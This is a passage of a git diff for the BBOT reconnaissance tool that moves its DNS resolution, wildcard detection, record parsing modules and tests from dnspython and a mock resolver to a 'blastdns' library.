kwargs.pop("use_cache", True) - tries_left = int(retries) + 1 - results = [] - errors = [] - dns_cache_hash = hash((query, "PTR")) - while tries_left > 0: - try: - if use_cache: - results = self._dns_cache.get(dns_cache_hash, []) - if not results: - results = await self._catch(self.resolver.resolve_address, query, **kwargs) - if use_cache: - self._dns_cache[dns_cache_hash] = results - break - except ( - dns.resolver.NoNameservers, - dns.exception.Timeout, - dns.resolver.LifetimeTimeout, - TimeoutError, - asyncio.exceptions.TimeoutError, - ) as e: - errors.append(e) - # don't retry if we get a SERVFAIL - if isinstance(e, dns.resolver.NoNameservers): - self.debug(f"{e} (query={query}, kwargs={kwargs})") - break - else: - tries_left -= 1 - if tries_left > 0: - retry_num = (retries + 2) - tries_left - self.debug(f"Retrying (#{retry_num}) {query} with kwargs={kwargs}") - - if results: - self._last_dns_success = time.time() - - return results, errors - - async def resolve_batch(self, queries, threads=10, **kwargs): - """ - A helper to execute a bunch of DNS requests. - - Args: - queries (list): List of queries to resolve. - **kwargs: Additional keyword arguments to pass to `resolve()`. - - Yields: - tuple: A tuple containing the original query and its resolved value. - - Examples: - >>> import asyncio - >>> async def example_usage(): - ... async for result in resolve_batch(['www.evilcorp.com', 'evilcorp.com']): - ... print(result) - ('www.evilcorp.com', {'1.1.1.1'}) - ('evilcorp.com', {'2.2.2.2'}) - """ - async for (args, _, _), responses in self.task_pool( - self.resolve, args_kwargs=queries, threads=threads, global_kwargs=kwargs - ): - yield args[0], responses - - async def resolve_raw_batch(self, queries, threads=10, **kwargs): - queries_kwargs = [[q[0], {"type": q[1]}] for q in queries] - async for (args, kwargs, _), (answers, errors) in self.task_pool( - self.resolve_raw, args_kwargs=queries_kwargs, threads=threads, global_kwargs=kwargs - ): - query = args[0] - rdtype = kwargs["type"] - yield ((query, rdtype), (answers, errors)) - - async def _catch(self, callback, *args, **kwargs): - """ - Asynchronously catches exceptions thrown during DNS resolution and logs them. - - This method wraps around a given asynchronous callback function to handle different - types of DNS exceptions and general exceptions. It logs the exceptions for debugging - and, in some cases, re-raises them. - - Args: - callback (callable): The asynchronous function to be executed. - *args: Positional arguments to pass to the callback. - **kwargs: Keyword arguments to pass to the callback. - - Returns: - Any: The return value of the callback function, or an empty list if an exception is caught. - - Raises: - dns.resolver.NoNameservers: When no nameservers could be reached. - """ - try: - return await callback(*args, **kwargs) - except dns.resolver.NoNameservers: - raise - except (dns.exception.Timeout, dns.resolver.LifetimeTimeout, TimeoutError): - self.log.debug(f"DNS query with args={args}, kwargs={kwargs} timed out after {self.timeout} seconds") - raise - except dns.exception.DNSException as e: - self.debug(f"{e} (args={args}, kwargs={kwargs})") - except Exception as e: - self.log.warning(f"Error in {callback.__qualname__}() with args={args}, kwargs={kwargs}: {e}") - self.log.trace(traceback.format_exc()) - return [] - - async def is_wildcard(self, query, rdtypes, raw_dns_records=None): - """ - Use this method to check whether a *host* is a wildcard entry - - This can reliably tell the difference between a valid DNS record and a wildcard within a wildcard domain. - - It works by making a bunch of random DNS queries to the parent domain, compiling a list of wildcard IPs, - then comparing those to the IPs of the host in question. If the host's IP matches the wildcard ones, it's a wildcard. - - If you want to know whether a domain is using wildcard DNS, use `is_wildcard_domain()` instead. - - Args: - query (str): The hostname to check for a wildcard entry. - rdtypes (list): The DNS record type (e.g., "A", "AAAA") to consider during the check. - raw_dns_records (dict, optional): Dictionary of {rdtype: [answer1, answer2, ...], ...} containing raw dnspython answers for the query. - - Returns: - dict: A dictionary indicating if the query is a wildcard for each checked DNS record type. - Keys are DNS record types like "A", "AAAA", etc. - Values are tuples where the first element is a boolean indicating if the query is a wildcard, - and the second element is the wildcard parent if it's a wildcard. - - Examples: - >>> is_wildcard("www.github.io", rdtypes=["A", "AAAA", "MX"]) - {"A": (True, "github.io"), "AAAA": (True, "github.io"), "MX": (False, "github.io")} - - >>> is_wildcard("www.evilcorp.com", rdtypes=["A"]) - {"A": (False, "evilcorp.com")} - - Note: - `is_wildcard` can be True, False, or None (indicating that wildcard detection was inconclusive) - """ - if isinstance(rdtypes, str): - rdtypes = [rdtypes] - - result = {} - - # if the work of resolving hasn't been done yet, do it - if raw_dns_records is None: - raw_dns_records = {} - queries = [(query, rdtype) for rdtype in rdtypes] - async for (_, rdtype), (answers, errors) in self.resolve_raw_batch(queries): - if answers: - for answer in answers: - try: - raw_dns_records[rdtype].add(answer) - except KeyError: - raw_dns_records[rdtype] = {answer} - else: - if errors: - self.debug(f"Failed to resolve {query} ({rdtype}) during wildcard detection") - result[rdtype] = ("ERROR", query) - - # clean + process the raw records into a baseline - baseline = {} - baseline_raw = {} - for rdtype, answers in raw_dns_records.items(): - for answer in answers: - text_answer = answer.to_text() - try: - baseline_raw[rdtype].add(text_answer) - except KeyError: - baseline_raw[rdtype] = {text_answer} - for _, host in extract_targets(answer): - try: - baseline[rdtype].add(host) - except KeyError: - baseline[rdtype] = {host} - - # if it's unresolved, it's a big nope - if not raw_dns_records: - return result - - # once we've resolved the base query and have IP addresses to work with - # we can compare the IPs to the ones we have on file for wildcards - - # only bother to check the rdypes that actually resolve - rdtypes_to_check = set(raw_dns_records) - - # for every parent domain, starting with the shortest - parents = list(domain_parents(query)) - for parent in parents[::-1]: - # check if the parent domain is set up with wildcards - wildcard_results = await self.is_wildcard_domain(parent, rdtypes_to_check) - - # for every rdtype - for rdtype in list(baseline_raw): - # skip if we already found a wildcard for this rdtype - if rdtype in result: - continue - - # get our baseline IPs from above - _baseline = baseline.get(rdtype, set()) - _baseline_raw = baseline_raw.get(rdtype, set()) - - wildcard_rdtypes = wildcard_results.get(parent, {}) - wildcards = wildcard_rdtypes.get(rdtype, None) - if wildcards is None: - continue - wildcards, wildcard_raw = wildcards - - if wildcard_raw: - # skip this rdtype from now on - rdtypes_to_check.remove(rdtype) - - # check if any of our baseline IPs are in the wildcard results - is_wildcard = any(r in wildcards for r in _baseline) - is_wildcard_raw = any(r in wildcard_raw for r in _baseline_raw) - - # if there are any matches, we have a wildcard - if is_wildcard or is_wildcard_raw: - result[rdtype] = (True, parent) - else: - # otherwise, it's still suspicious, because we had random stuff resolve at this level - result[rdtype] = ("POSSIBLE", parent) - - # any rdtype that wasn't a wildcard, mark it as False - for rdtype, answers in baseline_raw.items(): - if answers and rdtype not in result: - result[rdtype] = (False, query) - - return result - - async def is_wildcard_domain(self, domain, rdtypes): - """ - Check whether a given host or its children make use of wildcard DNS entries. Wildcard DNS can have - various implications, particularly in subdomain enumeration and subdomain takeovers. - - Args: - domain (str): The domain to check for wildcard DNS entries. - rdtypes (list): Which DNS record types to check. - - Returns: - dict: A dictionary where the keys are the parent domains that have wildcard DNS entries, - and the values are another dictionary of DNS record types ("A", "AAAA", etc.) mapped to - sets of their resolved IP addresses. - - Examples: - >>> is_wildcard_domain("github.io") - {"github.io": {"A": {"1.2.3.4"}, "AAAA": {"dead::beef"}}} - - >>> is_wildcard_domain("example.com") - {} - """ - if isinstance(rdtypes, str): - rdtypes = [rdtypes] - rdtypes = set(rdtypes) - - wildcard_results = {} - # make a list of its parents - parents = list(domain_parents(domain, include_self=True)) - # and check each of them, beginning with the highest parent (i.e. the root domain) - for i, host in enumerate(parents[::-1]): - host_results = {} - queries = [((host, rdtype), {}) for rdtype in rdtypes] - async for ((_, rdtype), _, _), (results, results_raw) in self.task_pool( - self._is_wildcard_zone, args_kwargs=queries - ): - # if we hit a wildcard, we can skip this rdtype from now on - if results_raw: - rdtypes.remove(rdtype) - host_results[rdtype] = results, results_raw - - if host_results: - wildcard_results[host] = host_results - - return wildcard_results - - async def _is_wildcard_zone(self, host, rdtype): - """ - Check whether a specific DNS zone+rdtype has a wildcard configuration - """ - rdtype = rdtype.upper() - - # have we checked this host before? - host_hash = hash((host, rdtype)) - async with self._wildcard_lock.lock(host_hash): - # if we've seen this host before - try: - wildcard_results, wildcard_results_raw = self._wildcard_cache[host_hash] - self.debug(f"Got {host}:{rdtype} from cache") - except KeyError: - wildcard_results = set() - wildcard_results_raw = set() - self.debug(f"Checking if {host}:{rdtype} is a wildcard") - - # determine if this is a wildcard domain - # resolve a bunch of random subdomains of the same parent - rand_queries = [] - for _ in range(self.wildcard_tests): - rand_query = f"{rand_string(digits=False, length=10)}.{host}" - rand_queries.append((rand_query, rdtype)) - - async for (query, rdtype), (answers, errors) in self.resolve_raw_batch(rand_queries, use_cache=False): - for answer in answers: - # consider both the raw record - wildcard_results_raw.add(answer.to_text()) - # and all the extracted hosts - for _, t in extract_targets(answer): - wildcard_results.add(t) - - if wildcard_results: - self.log.info(f"Encountered domain with wildcard DNS ({rdtype}): *.{host}") - else: - self.debug(f"Finished checking {host}:{rdtype}, it is not a wildcard") - self._wildcard_cache[host_hash] = wildcard_results, wildcard_results_raw - - return wildcard_results, wildcard_results_raw - - async def _is_wildcard(self, query, rdtypes, dns_children): - if isinstance(rdtypes, str): - rdtypes = [rdtypes] - - @property - def dns_connectivity_lock(self): - if self._dns_connectivity_lock is None: - self._dns_connectivity_lock = asyncio.Lock() - return self._dns_connectivity_lock - - async def _connectivity_check(self, interval=5): - """ - Periodically checks for an active internet connection by attempting DNS resolution. - - Args: - interval (int, optional): The time interval, in seconds, at which to perform the check. - Defaults to 5 seconds. - - Returns: - bool: True if there is an active internet connection, False otherwise. - - Examples: - >>> await _connectivity_check() - True - """ - if self._last_dns_success is not None: - if time.time() - self._last_dns_success < interval: - return True - dns_server_working = [] - async with self.dns_connectivity_lock: - with suppress(Exception): - dns_server_working = await self._catch(self.resolver.resolve, "www.google.com", rdtype="A") - if dns_server_working: - self._last_dns_success = time.time() - return True - if time.time() - self._last_connectivity_warning > interval: - self.log.warning("DNS queries are failing, please check your internet connection") - self._last_connectivity_warning = time.time() - self._errors.clear() - return False - - def debug(self, *args, **kwargs): - if self._debug: - self.log.trace(*args, **kwargs) - - @property - def in_tests(self): - return os.getenv("BBOT_TESTING", "") == "True" - - async def _mock_dns(self, mock_data, custom_lookup_fn=None): - from .mock import MockResolver - - def deserialize_function(func_source): - assert self.in_tests, "Can only mock when BBOT_TESTING=True" - if func_source is None: - return None - namespace = {} - exec(func_source, {}, namespace) - return namespace["custom_lookup"] - - self.resolver = MockResolver(mock_data, custom_lookup_fn=deserialize_function(custom_lookup_fn)) diff --git a/bbot/core/helpers/dns/helpers.py b/bbot/core/helpers/dns/helpers.py index 340af5a425..42bf770635 100644 --- a/bbot/core/helpers/dns/helpers.py +++ b/bbot/core/helpers/dns/helpers.py @@ -1,11 +1,48 @@ import logging from bbot.core.helpers.regexes import dns_name_extraction_regex -from bbot.core.helpers.misc import clean_dns_record, smart_decode +from bbot.core.helpers.misc import clean_dns_record log = logging.getLogger("bbot.core.helpers.dns") +# Default rdtypes BBOT cares about during recursive resolution +all_rdtypes = ["A", "AAAA", "SRV", "MX", "NS", "SOA", "CNAME", "TXT"] + + +def extract_targets(record): + """Hostnames/IPs worth following from a blastdns ``Record``. + + For structured rdata (A/AAAA/CNAME/NS/PTR/MX/SOA/SRV/etc), blastdns has + already extracted the embedded names in Rust -- we just hand those back. + + For TXT records we additionally apply a hostname regex to the text content, + since SPF / DKIM / similar TXT payloads commonly embed hostnames worth + pivoting on. That regex extraction is BBOT-specific and stays here. + """ + results = set(tuple(t) for t in record.extract_targets()) + + # TXT: pull additional hostnames out of the free-form text content + is_txt = "TXT" in record.rdata + if is_txt: + text = record.to_text() + for match in dns_name_extraction_regex.finditer(text): + cleaned = clean_dns_record(text[match.start() : match.end()]) + if cleaned: + results.add(("TXT", cleaned)) + + return results + + +def record_to_text(record): + """Presentation-format text for a blastdns ``Record``. + + Equivalent to dnspython's ``answer.to_text()``. blastdns produces this on + the Rust side via hickory's ``Display`` impl, so this is a thin pass-through. + """ + return record.to_text() + + # the following are the result of a 1-day internet survey to find the top SRV records # the scan resulted in 36,282 SRV records. the count for each one is shown. common_srvs = [ @@ -154,61 +191,6 @@ ] -def extract_targets(record): - """ - Extracts hostnames or IP addresses from a given DNS record. - - This method reads the DNS record's type and based on that, extracts the target - hostnames or IP addresses it points to. The type of DNS record - (e.g., "A", "MX", "CNAME", etc.) determines which fields are used for extraction. - - Args: - record (dns.rdata.Rdata): The DNS record to extract information from. - - Returns: - set: A set of tuples, each containing the DNS record type and the extracted value. - - Examples: - >>> from dns.rrset import from_text - >>> record = from_text('www.example.com', 3600, 'IN', 'A', '192.0.2.1') - >>> extract_targets(record[0]) - {('A', '192.0.2.1')} - - >>> record = from_text('example.com', 3600, 'IN', 'MX', '10 mail.example.com.') - >>> extract_targets(record[0]) - {('MX', 'mail.example.com')} - - """ - results = set() - - def add_result(rdtype, _record): - cleaned = clean_dns_record(_record) - if cleaned: - results.add((rdtype, cleaned)) - - rdtype = str(record.rdtype.name).upper() - if rdtype in ("A", "AAAA", "NS", "CNAME", "PTR"): - add_result(rdtype, record) - elif rdtype == "SOA": - add_result(rdtype, record.mname) - elif rdtype == "MX": - add_result(rdtype, record.exchange) - elif rdtype == "SRV": - add_result(rdtype, record.target) - elif rdtype == "TXT": - for s in record.strings: - s = smart_decode(s) - for match in dns_name_extraction_regex.finditer(s): - start, end = match.span() - host = s[start:end] - add_result(rdtype, host) - elif rdtype == "NSEC": - add_result(rdtype, record.next) - else: - log.warning(f'Unknown DNS record type "{rdtype}"') - return results - - def service_record(host, rdtype=None): """ Indicates that the provided host name and optional rdtype is an SRV or related service record. diff --git a/bbot/core/helpers/dns/mock.py b/bbot/core/helpers/dns/mock.py deleted file mode 100644 index 3f6fd83ea5..0000000000 --- a/bbot/core/helpers/dns/mock.py +++ /dev/null @@ -1,74 +0,0 @@ -import dns -import logging - -log = logging.getLogger("bbot.core.helpers.dns.mock") - - -class MockResolver: - def __init__(self, mock_data=None, custom_lookup_fn=None): - self.mock_data = mock_data if mock_data else {} - self._custom_lookup_fn = custom_lookup_fn - self.nameservers = ["127.0.0.1"] - - async def resolve_address(self, ipaddr, *args, **kwargs): - modified_kwargs = {} - modified_kwargs.update(kwargs) - modified_kwargs["rdtype"] = "PTR" - return await self.resolve(str(dns.reversename.from_address(ipaddr)), *args, **modified_kwargs) - - def _lookup(self, query, rdtype): - query = query.strip(".") - ret = [] - if self._custom_lookup_fn is not None: - answers = self._custom_lookup_fn(query, rdtype) - if answers is not None: - ret.extend(list(answers)) - answers = self.mock_data.get(query, {}).get(rdtype, []) - if answers: - ret.extend(list(answers)) - if not ret: - raise dns.resolver.NXDOMAIN(f"No answer found for {query} {rdtype}") - return ret - - def create_dns_response(self, query_name, answers, rdtype): - query_name = query_name.strip(".") - message_text = f"""id 1234 -opcode QUERY -rcode NOERROR -flags QR AA RD -;QUESTION -{query_name}. IN {rdtype} -;ANSWER""" - for answer in answers: - if answer == "": - answer = '""' - message_text += f"\n{query_name}. 1 IN {rdtype} {answer}" - - message_text += "\n;AUTHORITY\n;ADDITIONAL\n" - message = dns.message.from_text(message_text) - # log.verbose(message_text) - return message - - async def resolve(self, query_name, rdtype=None): - if rdtype is None: - rdtype = "A" - elif isinstance(rdtype, str): - rdtype = rdtype.upper() - else: - rdtype = str(rdtype.name).upper() - - domain_name = dns.name.from_text(query_name) - rdtype_obj = dns.rdatatype.from_text(rdtype) - - if "_NXDOMAIN" in self.mock_data and query_name in self.mock_data["_NXDOMAIN"]: - # Simulate the NXDOMAIN exception - raise dns.resolver.NXDOMAIN - - try: - answers = self._lookup(query_name, rdtype) - log.verbose(f"Answers for {query_name}:{rdtype}: {answers}") - response = self.create_dns_response(query_name, answers, rdtype) - answer = dns.resolver.Answer(domain_name, rdtype_obj, dns.rdataclass.IN, response) - return answer - except dns.resolver.NXDOMAIN: - return [] diff --git a/bbot/core/helpers/misc.py b/bbot/core/helpers/misc.py index cd2011abcc..3467b4de30 100644 --- a/bbot/core/helpers/misc.py +++ b/bbot/core/helpers/misc.py @@ -2742,14 +2742,7 @@ def clean_dns_record(record): Examples: >>> clean_dns_record('www.evilcorp.com.') 'www.evilcorp.com' - - >>> from dns.rrset import from_text - >>> record = from_text('www.evilcorp.com', 3600, 'IN', 'A', '1.2.3.4')[0] - >>> clean_dns_record(record) - '1.2.3.4' """ - if not isinstance(record, str): - record = str(record.to_text()) return str(record).rstrip(".").lower() diff --git a/bbot/modules/dnsbimi.py b/bbot/modules/dnsbimi.py index 4148dae509..d301857d30 100644 --- a/bbot/modules/dnsbimi.py +++ b/bbot/modules/dnsbimi.py @@ -25,7 +25,7 @@ # from bbot.modules.base import BaseModule -from bbot.core.helpers.dns.helpers import service_record +from bbot.core.helpers.dns.helpers import record_to_text, service_record import re @@ -93,50 +93,46 @@ async def inspectBIMI(self, event, domain): tags = ["bimi-record", f"bimi-{selector}"] hostname = f"{selector}._bimi.{parent_domain}" - r = await self.helpers.resolve_raw(hostname, type=rdtype) - - if r: - raw_results, errors = r - - for answer in raw_results: - if self.emit_raw_dns_records: - await self.emit_event( - { - "host": hostname, - "type": rdtype, - "answer": answer.to_text(), - }, - "RAW_DNS_RECORD", - parent=event, - tags=tags.append(f"{rdtype.lower()}-record"), - context=f"{rdtype} lookup on {hostname} produced {{event.type}}", - ) - - # we need to strip surrounding quotes and whitespace, as well as fix TXT data that may have been split across two different rdata's - # e.g. we will get a single string, but within that string we may have two parts such as: - # answer = '"part 1 that was really long" "part 2 that did not fit in part 1"' - s = answer.to_text().strip('"').strip().replace('" "', "") - - bimi_match = bimi_regex.search(s) - - if bimi_match and bimi_match.group("v") and "bimi" in bimi_match.group("v").lower(): - if bimi_match.group("l") and bimi_match.group("l") != "": - if self.emit_urls: - await self.emit_event( - bimi_match.group("l"), - "URL_UNVERIFIED", - parent=event, - tags=tags.append("bimi-location"), - ) - - if bimi_match.group("a") and bimi_match.group("a") != "": - if self.emit_urls: - await self.emit_event( - bimi_match.group("a"), - "URL_UNVERIFIED", - parent=event, - tags=tags.append("bimi-authority"), - ) + response = await self.helpers.dns.resolve_full(hostname, rdtype) + + for answer in response.response.answers: + text_answer = record_to_text(answer) + if self.emit_raw_dns_records: + await self.emit_event( + { + "host": hostname, + "type": rdtype, + "answer": text_answer, + }, + "RAW_DNS_RECORD", + parent=event, + tags=tags.append(f"{rdtype.lower()}-record"), + context=f"{rdtype} lookup on {hostname} produced {{event.type}}", + ) + + # record_to_text already joins multi-string TXT records and omits dnspython-style quoting + s = text_answer.strip() + + bimi_match = bimi_regex.search(s) + + if bimi_match and bimi_match.group("v") and "bimi" in bimi_match.group("v").lower(): + if bimi_match.group("l") and bimi_match.group("l") != "": + if self.emit_urls: + await self.emit_event( + bimi_match.group("l"), + "URL_UNVERIFIED", + parent=event, + tags=tags.append("bimi-location"), + ) + + if bimi_match.group("a") and bimi_match.group("a") != "": + if self.emit_urls: + await self.emit_event( + bimi_match.group("a"), + "URL_UNVERIFIED", + parent=event, + tags=tags.append("bimi-authority"), + ) async def handle_event(self, event): await self.inspectBIMI(event, event.host) diff --git a/bbot/modules/dnscaa.py b/bbot/modules/dnscaa.py index fad74bd947..0f8fa9ee96 100644 --- a/bbot/modules/dnscaa.py +++ b/bbot/modules/dnscaa.py @@ -21,22 +21,8 @@ from bbot.modules.base import BaseModule -import re - from bbot.core.helpers.regexes import dns_name_extraction_regex, email_regex, url_regexes -# Handle '0 iodef "mailto:support@hcaptcha.com"' -# Handle '1 iodef "https://some.host.tld/caa;"' -# Handle '0 issue "pki.goog; cansignhttpexchanges=yes; somethingelse=1"' -# Handle '1 issue ";"' == explicit denial for any wildcard issuance. -# Handle '128 issuewild "comodoca.com"' -# Handle '128 issuewild ";"' == explicit denial for any wildcard issuance. -_caa_regex = r"^(?P[0-9]+) +(?P\w+) +\"(?P[^;\"]*);* *(?P[^\"]*)\"$" -caa_regex = re.compile(_caa_regex) - -_caa_extensions_kvp_regex = r"(?P\w+)=(?P[^;]+)" -caa_extensions_kvp_regex = re.compile(_caa_extensions_kvp_regex) - class dnscaa(BaseModule): watched_events = ["DNS_NAME"] @@ -78,42 +64,49 @@ async def filter_event(self, event): async def handle_event(self, event): tags = ["caa-record"] - r = await self.helpers.resolve_raw(event.host, type="caa") - - if r: - raw_results, errors = r - - for answer in raw_results: - s = answer.to_text().strip().replace('" "', "") - - # validate CAA record vi regex so that we can determine what to do with it. - caa_match = caa_regex.search(s) - - if caa_match and caa_match.group("flags") and caa_match.group("property") and caa_match.group("text"): - # it's legit. - if caa_match.group("property").lower() == "iodef": - if self._emails: - for match in email_regex.finditer(caa_match.group("text")): - start, end = match.span() - email = caa_match.group("text")[start:end] - - await self.emit_event(email, "EMAIL_ADDRESS", tags=tags, parent=event) - - if self._urls: - for url_regex in url_regexes: - for match in url_regex.finditer(caa_match.group("text")): - start, end = match.span() - url = caa_match.group("text")[start:end].strip('"').strip() - - await self.emit_event(url, "URL_UNVERIFIED", tags=tags, parent=event) - - elif caa_match.group("property").lower().startswith("issue"): - if self._dns_names: - for match in dns_name_extraction_regex.finditer(caa_match.group("text")): - start, end = match.span() - name = caa_match.group("text")[start:end] - - await self.emit_event(name, "DNS_NAME", tags=tags, parent=event) + response = await self.helpers.dns.resolve_full(event.host, "CAA") + + for answer in response.response.answers: + caa = answer.rdata.get("CAA") + if not isinstance(caa, dict): + continue + + tag = (caa.get("tag") or "").lower() + value = caa.get("value") or {} + + # iodef -> "Url" containing mailto: or https:// for incident reporting + if tag == "iodef": + target = value.get("Url") if isinstance(value, dict) else None + if not target: + continue + if self._emails: + for match in email_regex.finditer(target): + await self.emit_event( + target[match.start() : match.end()], "EMAIL_ADDRESS", tags=tags, parent=event + ) + if self._urls: + for url_regex in url_regexes: + for match in url_regex.finditer(target): + await self.emit_event( + target[match.start() : match.end()].strip('"').strip(), + "URL_UNVERIFIED", + tags=tags, + parent=event, + ) + + # issue / issuewild -> "Issuer" containing the CA's domain + elif tag.startswith("issue"): + if not self._dns_names: + continue + issuer = value.get("Issuer") if isinstance(value, dict) else None + # blastdns models this as ["domain", [extensions]]; an empty issuer + # ("explicit denial") resolves to None or [None, []] + if isinstance(issuer, (list, tuple)) and issuer and issuer[0]: + name_text = str(issuer[0]) + for match in dns_name_extraction_regex.finditer(name_text): + await self.emit_event( + name_text[match.start() : match.end()], "DNS_NAME", tags=tags, parent=event + ) # EOF diff --git a/bbot/modules/dnstlsrpt.py b/bbot/modules/dnstlsrpt.py index 8d2976e93c..7c45759478 100644 --- a/bbot/modules/dnstlsrpt.py +++ b/bbot/modules/dnstlsrpt.py @@ -15,7 +15,7 @@ # e.g. tlsrpt@%{UNIQUE_ID}%.hosted.service.provider is usually a tenant specific ID. from bbot.modules.base import BaseModule -from bbot.core.helpers.dns.helpers import service_record +from bbot.core.helpers.dns.helpers import record_to_text, service_record import re @@ -77,62 +77,58 @@ async def handle_event(self, event): tags = ["tlsrpt-record"] hostname = f"_smtp._tls.{event.host}" - r = await self.helpers.resolve_raw(hostname, type=rdtype) - - if r: - raw_results, errors = r - for answer in raw_results: - if self.emit_raw_dns_records: - await self.emit_event( - {"host": hostname, "type": rdtype, "answer": answer.to_text()}, - "RAW_DNS_RECORD", - parent=event, - tags=tags.append(f"{rdtype.lower()}-record"), - context=f"{rdtype} lookup on {hostname} produced {{event.type}}", - ) - - # we need to fix TXT data that may have been split across two different rdata's - # e.g. we will get a single string, but within that string we may have two parts such as: - # answer = '"part 1 that was really long" "part 2 that did not fit in part 1"' - # NOTE: the leading and trailing double quotes are essential as part of a raw DNS TXT record, or another record type that contains a free form text string as a component. - s = answer.to_text().strip('"').replace('" "', "") - - # validate TLSRPT record, tag appropriately - tlsrpt_match = tlsrpt_regex.search(s) - - if ( - tlsrpt_match - and tlsrpt_match.group("v") - and tlsrpt_match.group("kvps") - and tlsrpt_match.group("kvps") != "" - ): - for kvp_match in tlsrpt_kvp_regex.finditer(tlsrpt_match.group("kvps")): - key = kvp_match.group("k").lower() - - if key == "rua": - for csul_match in csul.finditer(kvp_match.group("v")): - if csul_match.group("uri"): - for match in email_regex.finditer(csul_match.group("uri")): + response = await self.helpers.dns.resolve_full(hostname, rdtype) + + for answer in response.response.answers: + text_answer = record_to_text(answer) + if self.emit_raw_dns_records: + await self.emit_event( + {"host": hostname, "type": rdtype, "answer": text_answer}, + "RAW_DNS_RECORD", + parent=event, + tags=tags.append(f"{rdtype.lower()}-record"), + context=f"{rdtype} lookup on {hostname} produced {{event.type}}", + ) + + # record_to_text already joins multi-string TXT records and omits dnspython-style quoting + s = text_answer + + # validate TLSRPT record, tag appropriately + tlsrpt_match = tlsrpt_regex.search(s) + + if ( + tlsrpt_match + and tlsrpt_match.group("v") + and tlsrpt_match.group("kvps") + and tlsrpt_match.group("kvps") != "" + ): + for kvp_match in tlsrpt_kvp_regex.finditer(tlsrpt_match.group("kvps")): + key = kvp_match.group("k").lower() + + if key == "rua": + for csul_match in csul.finditer(kvp_match.group("v")): + if csul_match.group("uri"): + for match in email_regex.finditer(csul_match.group("uri")): + start, end = match.span() + email = csul_match.group("uri")[start:end] + + if self.emit_emails: + await self.emit_event( + email, + "EMAIL_ADDRESS", + tags=tags.append(f"tlsrpt-record-{key}"), + parent=event, + ) + + for url_regex in url_regexes: + for match in url_regex.finditer(csul_match.group("uri")): start, end = match.span() - email = csul_match.group("uri")[start:end] + url = csul_match.group("uri")[start:end] - if self.emit_emails: + if self.emit_urls: await self.emit_event( - email, - "EMAIL_ADDRESS", + url, + "URL_UNVERIFIED", tags=tags.append(f"tlsrpt-record-{key}"), parent=event, ) - - for url_regex in url_regexes: - for match in url_regex.finditer(csul_match.group("uri")): - start, end = match.span() - url = csul_match.group("uri")[start:end] - - if self.emit_urls: - await self.emit_event( - url, - "URL_UNVERIFIED", - tags=tags.append(f"tlsrpt-record-{key}"), - parent=event, - ) diff --git a/bbot/modules/internal/dnsresolve.py b/bbot/modules/internal/dnsresolve.py index f2472025c9..948a53e5d0 100644 --- a/bbot/modules/internal/dnsresolve.py +++ b/bbot/modules/internal/dnsresolve.py @@ -2,9 +2,10 @@ import ipaddress from contextlib import suppress +from blastdns import DNSResult + from bbot.errors import ValidationError -from bbot.core.helpers.dns.engine import all_rdtypes -from bbot.core.helpers.dns.helpers import extract_targets +from bbot.core.helpers.dns.helpers import all_rdtypes, extract_targets, record_to_text from bbot.modules.base import BaseInterceptModule, BaseModule @@ -227,7 +228,7 @@ async def emit_dns_children_raw(self, event, dns_tags): tags = {t for t in dns_tags if rdtype_lower in t.split("-")} if self.emit_raw_records and rdtype not in ("A", "AAAA", "CNAME", "PTR"): for answer in answers: - text_answer = answer.to_text() + text_answer = record_to_text(answer) child_hash = hash(f"{event.host}:{rdtype}:{text_answer}") if child_hash not in self.children_emitted_raw: self.children_emitted_raw.add(child_hash) @@ -270,23 +271,23 @@ async def resolve_event(self, event, types): if not types: return event_host = str(event.host) - queries = [(event_host, rdtype) for rdtype in types] - dns_errors = {} - async for (query, rdtype), (answers, errors) in self.helpers.dns.resolve_raw_batch(queries): + results = await self.helpers.dns.resolve_multi_full(event_host, list(types)) + for rdtype, response in results.items(): rdtype = sys.intern(rdtype) - # errors - try: - dns_errors[rdtype].update(errors) - except KeyError: - dns_errors[rdtype] = set(errors) + if not isinstance(response, DNSResult): + # blastdns returns a DNSError for this rdtype; tag and move on + if rdtype not in event.dns_children: + event.add_tag(f"{rdtype}-error") + continue + + answers = response.response.answers + if not answers: + continue + + event.add_tag(f"{rdtype}-record") + # blastdns hands us an already-unique list[Record] -- store as-is, no copy + event.raw_dns_records[rdtype] = answers for answer in answers: - event.add_tag(f"{rdtype}-record") - # raw dnspython answers - try: - event.raw_dns_records[rdtype].add(answer) - except KeyError: - event.raw_dns_records[rdtype] = {answer} - # hosts for _rdtype, host in extract_targets(answer): _rdtype = sys.intern(_rdtype) host = sys.intern(host) @@ -302,12 +303,6 @@ async def resolve_event(self, event, types): except ValueError: continue - # tag event with errors - for rdtype, errors in dns_errors.items(): - # only consider it an error if there weren't any results for that rdtype - if errors and rdtype not in event.dns_children: - event.add_tag(f"{rdtype}-error") - def get_dns_parent(self, event): """ Get the first parent DNS_NAME / IP_ADDRESS of an event. If one isn't found, create it. diff --git a/bbot/test/test_step_1/test_dns.py b/bbot/test/test_step_1/test_dns.py index 006149883b..aab330aeb9 100644 --- a/bbot/test/test_step_1/test_dns.py +++ b/bbot/test/test_step_1/test_dns.py @@ -1,8 +1,10 @@ from ..bbot_fixtures import * -from bbot.core.helpers.dns.helpers import extract_targets, service_record, common_srvs +from bbot.core.helpers.dns.helpers import all_rdtypes, common_srvs, extract_targets, record_to_text, service_record +# Common mock dataset (zone-file format -- TXT character-strings must be quoted +# to keep whitespace inside the payload from being tokenized). mock_records = { "one.one.one.one": { "A": ["1.1.1.1", "1.0.0.1"], @@ -18,698 +20,97 @@ @pytest.mark.asyncio async def test_dns_helper(bbot_scanner): scan = bbot_scanner() - await scan.helpers.dns._mock_dns({ - "asdf.example.com": { - "A": ["1.2.3.4"] - } - }) + await scan.helpers.dns._mock_dns({"asdf.example.com": {"A": ["1.2.3.4"]}}) result = await scan.helpers.dns.resolve("asdf.example.com") assert "1.2.3.4" in result @pytest.mark.asyncio -async def test_dns_engine(bbot_scanner): +async def test_resolve_full_and_extract(bbot_scanner): + """resolve_full + extract_targets + record_to_text on the new blastdns Records.""" scan = bbot_scanner() - await scan._prep() - await scan.helpers._mock_dns( - {"one.one.one.one": {"A": ["1.1.1.1"]}, "1.1.1.1.in-addr.arpa": {"PTR": ["one.one.one.one"]}} - ) - result = await scan.helpers.resolve("one.one.one.one") - assert "1.1.1.1" in result - assert "2606:4700:4700::1111" not in result - - results = [_ async for _ in scan.helpers.resolve_batch(("one.one.one.one", "1.1.1.1"))] - pass_1 = False - pass_2 = False - for query, result in results: - if query == "one.one.one.one" and "1.1.1.1" in result: - pass_1 = True - elif query == "1.1.1.1" and "one.one.one.one" in result: - pass_2 = True - assert pass_1 and pass_2 - - results = 